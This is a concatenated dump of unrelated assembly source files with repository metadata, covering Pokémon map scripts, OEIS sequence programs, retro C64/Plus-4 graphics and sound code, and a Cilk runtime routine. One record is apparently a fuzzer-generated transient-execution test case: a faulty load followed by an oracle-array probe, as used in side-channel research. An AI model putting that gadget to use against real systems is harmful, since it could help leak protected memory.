GoldenrodCityRocket5Script, EVENT_RADIO_TOWER_ROCKET_TAKEOVER object_event 31, 10, SPRITE_ROCKET, SPRITEMOVEDATA_STANDING_LEFT, 0, 0, -1, -1, 0, OBJECTTYPE_SCRIPT, 0, GoldenrodCityRocket6Script, EVENT_RADIO_TOWER_ROCKET_TAKEOVER object_event 12, 22, SPRITE_POKEFAN_M, SPRITEMOVEDATA_SPINRANDOM_SLOW, 0, 0, -1, -1, PAL_NPC_RED, OBJECTTYPE_SCRIPT, 0, MoveTutorScript, EVENT_GOLDENROD_CITY_MOVE_TUTOR
24.541391
189
0.819132
c58d84d0bed572e19cff6112dc20062ba09b24d2
934
asm
Assembly
programs/oeis/020/A020720.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/020/A020720.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/020/A020720.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A020720: Pisot sequences E(7,9), P(7,9). ; 7,9,12,16,21,28,37,49,65,86,114,151,200,265,351,465,616,816,1081,1432,1897,2513,3329,4410,5842,7739,10252,13581,17991,23833,31572,41824,55405,73396,97229,128801,170625,226030,299426,396655,525456,696081,922111,1221537,1618192,2143648,2839729,3761840,4983377,6601569,8745217,11584946,15346786,20330163,26931732,35676949,47261895,62608681,82938844,109870576,145547525,192809420,255418101,338356945,448227521,593775046,786584466,1042002567,1380359512,1828587033,2422362079,3208946545,4250949112,5631308624,7459895657,9882257736,13091204281,17342153393,22973462017,30433357674,40315615410,53406819691,70748973084,93722435101,124155792775,164471408185,217878227876,288627200960,382349636061,506505428836,670976837021,888855064897,1177482265857,1559831901918,2066337330754,2737314167775,3626169232672,4803651498529,6363483400447,8429820731201 add $0,8 seq $0,134816 ; Padovan's spiral numbers.
155.666667
838
0.856531
de5698bbb97b3991e5d5f695d10dc9eb7ab50f7f
279
asm
Assembly
programs/oeis/004/A004346.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/004/A004346.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/004/A004346.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A004346: Binomial coefficient C(5n,n-4). ; 1,25,435,6545,91390,1221759,15890700,202927725,2558620845,31966749880,396704524216,4898229264825,60246643120300,738799683460650,9038619861406740,110375347398090219,1345860629046814650 mov $1,5 mul $1,$0 add $1,20 bin $1,$0 mov $0,$1
31
185
0.802867
0a1e9890a4063640009a08263182e3a87049b196
475
asm
Assembly
oeis/116/A116837.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/116/A116837.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/116/A116837.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A116837: Number of permutations of length n which avoid the patterns 3421, 4123, 4312; or avoid the patterns 2341, 3142, 3214. ; Submitted by Christian Krause ; 1,2,6,21,73,250,853,2911,9938,33931,115849,395534,1350437,4610679,15741842,53746011,183500361,626509422,2139036965,7303129015,24934442130,85131510491,290657157705,992365609838,3388148123941 mov $1,1 mov $3,1 lpb $0 sub $0,1 add $2,$1 add $4,$1 add $1,$3 mul $3,2 add $4,$2 add $3,$4 lpe mov $0,$1
27.941176
191
0.730526
223dac2ca659faf4594ce03590bc07f74a546be9
508
asm
Assembly
programs/oeis/241/A241748.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/241/A241748.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/241/A241748.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A241748: a(n) = n^2 + 12. ; 12,13,16,21,28,37,48,61,76,93,112,133,156,181,208,237,268,301,336,373,412,453,496,541,588,637,688,741,796,853,912,973,1036,1101,1168,1237,1308,1381,1456,1533,1612,1693,1776,1861,1948,2037,2128,2221,2316,2413,2512,2613,2716,2821,2928,3037,3148,3261,3376,3493,3612,3733,3856,3981,4108,4237,4368,4501,4636,4773,4912,5053,5196,5341,5488,5637,5788,5941,6096,6253,6412,6573,6736,6901,7068,7237,7408,7581,7756,7933,8112,8293,8476,8661,8848,9037,9228,9421,9616,9813 pow $0,2 add $0,12
84.666667
459
0.751969
e85aac5bfe9ed7a2f57c64d697dd476dfd124ccf
367
asm
Assembly
libsrc/oz/oztime/ozmin.asm
grancier/z180
e83f35e36c9b4d1457e40585019430e901c86ed9
[ "ClArtistic" ]
null
null
null
libsrc/oz/oztime/ozmin.asm
grancier/z180
e83f35e36c9b4d1457e40585019430e901c86ed9
[ "ClArtistic" ]
null
null
null
libsrc/oz/oztime/ozmin.asm
grancier/z180
e83f35e36c9b4d1457e40585019430e901c86ed9
[ "ClArtistic" ]
1
2019-12-03T23:57:48.000Z
2019-12-03T23:57:48.000Z
; ; Sharp OZ family functions ; ; ported from the OZ-7xx SDK by by Alexander R. Pruss ; by Stefano Bodrato - Oct. 2003 ; ; ; clock functions ; ; unsigned ozmin() ; ; ; ------ ; $Id: ozmin.asm,v 1.3 2016/06/27 21:25:36 dom Exp $ ; SECTION code_clib PUBLIC ozmin PUBLIC _ozmin EXTERN Compute ozmin: _ozmin: ld c,33h jp Compute
13.592593
53
0.607629
5b1211604baad803515af570820f4a01ff285e3c
1,466
asm
Assembly
LoadingScreen/_sfx/Global/player_clear2.asm
kosmonautdnb/TheLandsOfZador
66c9e8ab92f617838afe793a6c9ddaaf7273aadc
[ "MIT" ]
null
null
null
LoadingScreen/_sfx/Global/player_clear2.asm
kosmonautdnb/TheLandsOfZador
66c9e8ab92f617838afe793a6c9ddaaf7273aadc
[ "MIT" ]
null
null
null
LoadingScreen/_sfx/Global/player_clear2.asm
kosmonautdnb/TheLandsOfZador
66c9e8ab92f617838afe793a6c9ddaaf7273aadc
[ "MIT" ]
null
null
null
include "player_symbols.asm" include "player_const.asm" INSNIL2 KP_OSCV 0,0,0,0,15 KP_OSCJ 0 VOLNIL2 KP_VOLV 0,15 KP_VOLJ 0 songoff lda #$01 sta fw_song_off ; disable both voices by setting the highest frequency lda #$fe sta $ff0e sta $ff0f lda #$03 sta $ff10 lda $ff12 and #%11111100 ora #$03 sta $ff12 lda #$00 sta $ff11 jsr waitFrame rts kp_clear SUBROUTINE lda #$ff sta kp_osc_wait_0 sta kp_osc_wait_1 sta kp_osc_wait_2 sta kp_vol_wait_0 sta kp_vol_wait_1 sta kp_vol_wait_2 lda #$ff sta kp_pat_wait_0 sta kp_pat_wait_1 sta kp_pat_wait_2 lda #$00 sta kp_vol_mod0_0 ; sta kp_vol_mod0_1 sta kp_vol_mod0_2 rts kp_triggerA2 SUBROUTINE ; x = instrument ; y = volume lda #$04 sta kp_pat_wait_0 lda kp_insmap_lo,x sta kp_osc_adr_0_0 sta kp_osc_adr_1_0 lda kp_insmap_hi,x sta kp_osc_adr_0_0+1 sta kp_osc_adr_1_0+1 lda kp_volmap_lo,x sta kp_vol_adr_0_0 lda kp_volmap_hi,x sta kp_vol_adr_0_0+1 lda #$00 sta kp_osc_wait_0 sta kp_osc_pos_0 sta kp_vol_wait_0 sta kp_vol_pos_0 sty kp_vol_mod0_0 rts kp_triggerB2 SUBROUTINE ; x = instrument ; y = volume lda #$04 sta kp_pat_wait_1 lda kp_insmap_lo,x sta kp_osc_adr_0_1 sta kp_osc_adr_1_1 lda kp_insmap_hi,x sta kp_osc_adr_0_1+1 sta kp_osc_adr_1_1+1 lda kp_volmap_lo,x sta kp_vol_adr_0_1 lda kp_volmap_hi,x sta kp_vol_adr_0_1+1 lda #$00 sta kp_osc_wait_1 sta kp_osc_pos_1 sta kp_vol_wait_1 sta kp_vol_pos_1 sty kp_vol_mod0_1 rts
13.830189
55
0.762619
ec3142c964951e38553dac8555abf120e37ba06a
4,851
asm
Assembly
Transynther/x86/_processed/NONE/_xt_sm_/i3-7100_9_0x84_notsx.log_21829_1568.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_sm_/i3-7100_9_0x84_notsx.log_21829_1568.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_sm_/i3-7100_9_0x84_notsx.log_21829_1568.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r13 push %r9 push %rax push %rbx lea addresses_A_ht+0xc14, %rax nop nop nop add %r9, %r9 movb $0x61, (%rax) add $8719, %rbx pop %rbx pop %rax pop %r9 pop %r13 ret .global s_faulty_load s_faulty_load: push %r12 push %r13 push %r8 push %r9 push %rbp push %rcx push %rdi push %rsi // Store lea addresses_PSE+0x1bc18, %rdi nop inc %r8 mov $0x5152535455565758, %r9 movq %r9, %xmm3 vmovups %ymm3, (%rdi) nop nop nop cmp $43072, %r8 // REPMOV lea addresses_normal+0x4a18, %rsi lea addresses_A+0x13818, %rdi nop add %rbp, %rbp mov $18, %rcx rep movsb nop nop nop nop nop and %r13, %r13 // Store lea addresses_RW+0x2218, %rbp nop add %rcx, %rcx mov $0x5152535455565758, %r8 movq %r8, %xmm2 vmovups %ymm2, (%rbp) and %rsi, %rsi // Faulty Load lea addresses_PSE+0x1bc18, %rdi nop nop nop xor %r8, %r8 mov (%rdi), %r9w lea oracles, %r8 and $0xff, %r9 shlq $12, %r9 mov (%r8,%r9,1), %r9 pop %rsi pop %rdi pop %rcx pop %rbp pop %r9 pop %r8 pop %r13 pop %r12 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_PSE', 'same': False, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_PSE', 'same': True, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_normal', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_A', 'congruent': 10, 'same': False}, 'OP': 'REPM'} {'dst': {'type': 'addresses_RW', 'same': False, 'size': 32, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} [Faulty Load] {'src': {'type': 'addresses_PSE', 'same': True, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'dst': {'type': 'addresses_A_ht', 'same': False, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'58': 21829} 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 */
48.029703
2,999
0.658009
9ab25cdbeb7cb9ef7c1e81c7aee1aaf1d8e6d3e6
568
asm
Assembly
oeis/253/A253946.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/253/A253946.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/253/A253946.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A253946: a(n) = 6*binomial(n+1, 6). ; 6,42,168,504,1260,2772,5544,10296,18018,30030,48048,74256,111384,162792,232560,325584,447678,605682,807576,1062600,1381380,1776060,2260440,2850120,3562650,4417686,5437152,6645408,8069424,9738960,11686752,13948704,16564086,19575738,23030280,26978328,31474716,36578724,42354312,48870360,56200914,64425438,73629072,83902896,95344200,108056760,122151120,137744880,154962990,173938050,194810616,217729512,242852148,270344844,300383160,333152232,368847114,407673126,449846208,495593280,545152608,598774176 add $0,6 bin $0,6 mul $0,6
81.142857
501
0.834507
97b0476086d8a81d3660fd2d9cd5a192e12210b0
207
asm
Assembly
mastersystem/zxb-sms-2012-02-23/zxb-sms/wip/zxb/library-asm/and8.asm
gb-archive/really-old-stuff
ffb39a518cad47e23353b3420b88e2f3521fd3d7
[ "Apache-2.0" ]
10
2016-10-27T20:46:02.000Z
2021-11-01T15:49:13.000Z
mastersystem/zxb-sms-2012-02-23/zxb-sms/wip/zxb/library-asm/and8.asm
gb-archive/really-old-stuff
ffb39a518cad47e23353b3420b88e2f3521fd3d7
[ "Apache-2.0" ]
null
null
null
mastersystem/zxb-sms-2012-02-23/zxb-sms/wip/zxb/library-asm/and8.asm
gb-archive/really-old-stuff
ffb39a518cad47e23353b3420b88e2f3521fd3d7
[ "Apache-2.0" ]
2
2015-03-11T14:28:08.000Z
2017-11-02T10:57:57.000Z
; FASTCALL boolean and 8 version. ; result in Accumulator (0 False, not 0 True) ; __FASTCALL__ version (operands: A, H) ; Performs 8bit and 8bit and returns the boolean __AND8: or a ret z ld a, h ret
17.25
48
0.710145
3365f1e9a5c1b2c43876847cdfa38af6b0f89458
1,480
asm
Assembly
vic/irq_bars.asm
FolkertVanVerseveld/c64
a244b976cc650a86566b88066c0f7cb3a3915f09
[ "MIT" ]
1
2018-12-26T22:55:37.000Z
2018-12-26T22:55:37.000Z
vic/irq_bars.asm
FolkertVanVerseveld/c64
a244b976cc650a86566b88066c0f7cb3a3915f09
[ "MIT" ]
null
null
null
vic/irq_bars.asm
FolkertVanVerseveld/c64
a244b976cc650a86566b88066c0f7cb3a3915f09
[ "MIT" ]
null
null
null
// Assembler: KickAssembler // Rasterbars met behulp van een interrupt service routine BasicUpstart2(start) .var scr_clear_char = ' ' .var scr_clear_color = $0f .var raster = 40 * = $0810 "start" start: jsr scr_clear lda #$00 sta $d020 sta $d021 jsr irq_init jmp * irq: asl $d019 // BEGIN kernel inc $d020 dec $d020 // wacht even ldx #$00 !l: dex bne !l- lda $d011 sta !herstel+ + 1 lda #$00 sta $d011 sta $d020 ldy #$7a ldx #$00 !l: lda colors, x cpy $d012 bne * - 3 sta $d020 sta $d021 cpx #51 beq !done+ inx iny jmp !l- !done: !herstel: lda #$00 sta $d011 // EIND kernel pla tay pla tax pla rti irq_init: sei lda #<irq sta $0314 lda #>irq sta $0315 asl $d019 lda #$7b sta $dc0d lda #$81 sta $d01a lda #$1b sta $d011 lda #raster sta $d012 cli rts scr_clear: lda #scr_clear_char ldx #0 // `wis' alle karakters door alles te vullen met spaties !l: sta $0400, x sta $0500, x sta $0600, x sta $06e8, x inx bne !l- // verander kleur van alle karakters lda #scr_clear_color ldx #0 !l: sta $d800, x sta $d900, x sta $da00, x sta $dae8, x inx bne !l- rts colors: .byte $06, $06, $06, $0e, $06, $0e .byte $0e, $06, $0e, $0e, $0e, $03 .byte $0e, $03, $03, $0e, $03, $03 .byte $03, $01, $03, $01, $01, $03 .byte $01, $01, $01, $03, $01, $01 .byte $03, $01, $03, $03, $03, $0e .byte $03, $03, $0e, $03, $0e, $0e .byte $0e, $06, $0e, $0e, $06, $0e .byte $06, $06, $06, $00, $00, $00 .byte $ff
12.758621
58
0.589865
fe2e425c867e82cdc1add778eb441831ef7d9798
583
asm
Assembly
programs/oeis/221/A221686.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/221/A221686.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/221/A221686.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A221686: Number of 0..n arrays of length 7 with each element differing from at least one neighbor by 1 or less, starting with 0. ; 64,320,844,1692,2856,4326,6102,8184,10572,13266,16266,19572,23184,27102,31326,35856,40692,45834,51282,57036,63096,69462,76134,83112,90396,97986,105882,114084,122592,131406,140526,149952,159684,169722,180066,190716 mov $3,4 mov $6,$0 add $6,$0 trn $6,1 trn $3,$6 mov $7,$0 mov $0,14 lpb $0 mov $0,7 mov $1,6 bin $1,$3 mov $4,2 lpe mul $4,$1 mov $1,$4 add $1,34 mov $2,$7 mul $2,93 add $1,$2 mov $5,$7 mul $5,$7 mov $2,$5 mul $2,153 add $1,$2
20.821429
215
0.686106
c2cde0e3fbebc26eb4cbbc42be87436cf216761b
271
asm
Assembly
programs/oeis/057/A057067.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/057/A057067.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/057/A057067.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A057067: a(n) = floor(5^5/n). ; 3125,1562,1041,781,625,520,446,390,347,312,284,260,240,223,208,195,183,173,164,156,148,142,135,130,125,120,115,111,107,104,100,97,94,91,89,86,84,82,80,78,76,74,72,71,69,67,66,65,63,62,61,60,58,57,56,55,54 add $0,1 mov $1,3125 div $1,$0
38.714286
206
0.675277
5a867b3056ea91b211fee0f45b9dc2f73cd7e2c6
6,477
asm
Assembly
runtime/win64-asm.asm
vchuravy/cilkrts
507a93234a480431ee8f7e49bbb464e3572618f5
[ "Intel" ]
7
2017-12-10T21:58:42.000Z
2019-02-21T02:13:31.000Z
runtime/win64-asm.asm
vchuravy/cilkrts
507a93234a480431ee8f7e49bbb464e3572618f5
[ "Intel" ]
2
2019-03-19T16:12:53.000Z
2019-08-09T13:02:00.000Z
runtime/win64-asm.asm
vchuravy/cilkrts
507a93234a480431ee8f7e49bbb464e3572618f5
[ "Intel" ]
5
2018-09-10T12:04:34.000Z
2019-08-22T20:13:12.000Z
;; ;; Copyright (C) 2009-2018, Intel Corporation ;; All rights reserved. ;; ;; Redistribution and use in source and binary forms, with or without ;; modification, are permitted provided that the following conditions ;; are met: ;; ;; * Redistributions of source code must retain the above copyright ;; notice, this list of conditions and the following disclaimer. ;; * Redistributions in binary form must reproduce the above copyright ;; notice, this list of conditions and the following disclaimer in ;; the documentation and/or other materials provided with the ;; distribution. ;; * Neither the name of Intel Corporation nor the names of its ;; contributors may be used to endorse or promote products derived ;; from this software without specific prior written permission. ;; ;; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS ;; "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT ;; LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR ;; A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT ;; HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, ;; INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, ;; BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS ;; OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED ;; AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT ;; LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY ;; WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE ;; POSSIBILITY OF SUCH DAMAGE. ;; ;; ********************************************************************* ;; ;; PLEASE NOTE: This file is a downstream copy of a file maintained in ;; a repository at cilkplus.org. Changes made to this file that are not ;; submitted through the contribution process detailed at ;; http://www.cilkplus.org/submit-cilk-contribution will be lost the next ;; time that a new version is released. Changes only submitted to the ;; GNU compiler collection or posted to the git repository at ;; https://bitbucket.org/intelcilkruntime/intel-cilk-runtime are ;; not tracked. ;; ;; We welcome your contributions to this open source project. Thank you ;; for your assistance in helping us improve Cilk Plus. ;; ;;***************************************************************************** ;; ;; win64-asm.asm ;; ;; This module contains functions that cannot be implemented in C ;; using the Win64 compiler ;; ;; NOTE: If you're getting errors building this file, you may need to do ;; the following: ;; ;; If you're working on a 32-bit OS, go to the ;; "C:\Program Files\Microsoft Visual Studio 8\VC\bin\x86_amd64" ;; directory and copy ml64.exe to ml.exe. ;; ;; If you're working on a 64-bit OS, go to the ;; "C:\Program Files (x86)\Microsoft Visual Studio 8\VC\bin\amd64" ;; directory and copy ml64.exe to ml.exe. ;; ;; Why is this necessary? Because the ml.rules can't allow for the ;; differing path names. This was the easiest modification. Supposedly ;; this is fixed in VS2010. If you're building with a Makefile, use ;; ml64.exe instead of ml.exe. ;; Allow names with leading dots (like .CILKMTDT) OPTION DOTNAME .CODE ;; void longjmp_and_rethrow(__cilkrts_stack_frame *sf, // RCX ;; jmp_buf _Buf // RDX __cilkrts_longjmp_and_rethrow PROC FRAME push rbp ;; Save the previous frame pointer .pushreg rbp sub rsp,20h ;; Reserve space for 4 output parameters .allocstack 20h lea rbp,[rsp] ;; Set up the new frame pointer .setframe rbp, 0 .endprolog ;; Start by loading the context from the jmp_buf. This is copied from the ;; debugger's disassembly of longjmp. We don't need to worry about frame ;; being set, since we don't want to do another unwind (it should have been ;; done earlier) and we don't need to let anybody set the return value mov rbx,qword ptr [rdx+8] mov rsi,qword ptr [rdx+20h] mov rdi,qword ptr [rdx+28h] mov r12,qword ptr [rdx+30h] mov r13,qword ptr [rdx+38h] mov r14,qword ptr [rdx+40h] mov r15,qword ptr [rdx+48h] ldmxcsr dword ptr [rdx+58h] fnclex fldcw word ptr [rdx+5Ch] movdqa xmm6, xmmword ptr [rdx+0060h] movdqa xmm7, xmmword ptr [rdx+0070h] movdqa xmm8, xmmword ptr [rdx+0080h] movdqa xmm9, xmmword ptr [rdx+0090h] movdqa xmm10,xmmword ptr [rdx+00A0h] movdqa xmm11,xmmword ptr [rdx+00B0h] movdqa xmm12,xmmword ptr [rdx+00C0h] movdqa xmm13,xmmword ptr [rdx+00D0h] movdqa xmm14,xmmword ptr [rdx+00E0h] movdqa xmm15,xmmword ptr [rdx+00F0h] mov rbp,qword ptr [rdx+18h] ;; Call __cilkrts_rethrow to actually raise the exception. It will patch ;; the correct return address onto the stack so the unwinder will never ;; see this function. ;; ;; Note that pointer to the __cilkrts_stack_frame is already in RCX call __cilkrts_rethrow ;; Should never return! lea rsp,[rbp] add rsp,20h pop rbp ret __cilkrts_longjmp_and_rethrow ENDP ;;; Moved to os-win.c ;; ;; void __cilkrts_fence(void) ;; ;; ;; ;; Executes an MFENCE instruction to serialize all load and store ;; ;; instructions that were issued prior the MFENCE instruction. This ;; ;; serializing operation guarantees that every load and store instruction ;; ;; that precedes the MFENCE instruction is globally visible before any load ;; ;; or store instruction that follows the MFENCE instruction. The MFENCE ;; ;; instruction is ordered with respect to all load and store instructions, ;; ;; other MFENCE instructions, any SFENCE and LFENCE instructions, and any ;; ;; serializing instructions (such as the CPUID instruction). ;; __cilkrts_fence PROC ;; mfence ;; ret 0 ;; __cilkrts_fence ENDP ;;; Moved to os-win.c ;; ;; void __cilkrts_short_pause(void) ;; ;; ;; ;; Executes a PAUSE instruction which is a hint to the processor that the ;; ;; code sequence is a spin-wait loop. The processor uses this hint to avoid ;; ;; the memory order violation in most situations, which greatly improves ;; ;; processor performance. ;; __cilkrts_short_pause PROC ;; pause ;; ret 0 ;; __cilkrts_short_pause ENDP EXTRN __cilkrts_rethrow:PROC END
38.553571
79
0.680871
09894fdd5971b6180b09b1522f3854abc51beb39
861
asm
Assembly
maps/VermilionPortPassage.asm
Dev727/ancientplatinum
8b212a1728cc32a95743e1538b9eaa0827d013a7
[ "blessing" ]
28
2019-11-08T07:19:00.000Z
2021-12-20T10:17:54.000Z
maps/VermilionPortPassage.asm
Dev727/ancientplatinum
8b212a1728cc32a95743e1538b9eaa0827d013a7
[ "blessing" ]
13
2020-01-11T17:00:40.000Z
2021-09-14T01:27:38.000Z
maps/VermilionPortPassage.asm
Dev727/ancientplatinum
8b212a1728cc32a95743e1538b9eaa0827d013a7
[ "blessing" ]
22
2020-05-28T17:31:38.000Z
2022-03-07T20:49:35.000Z
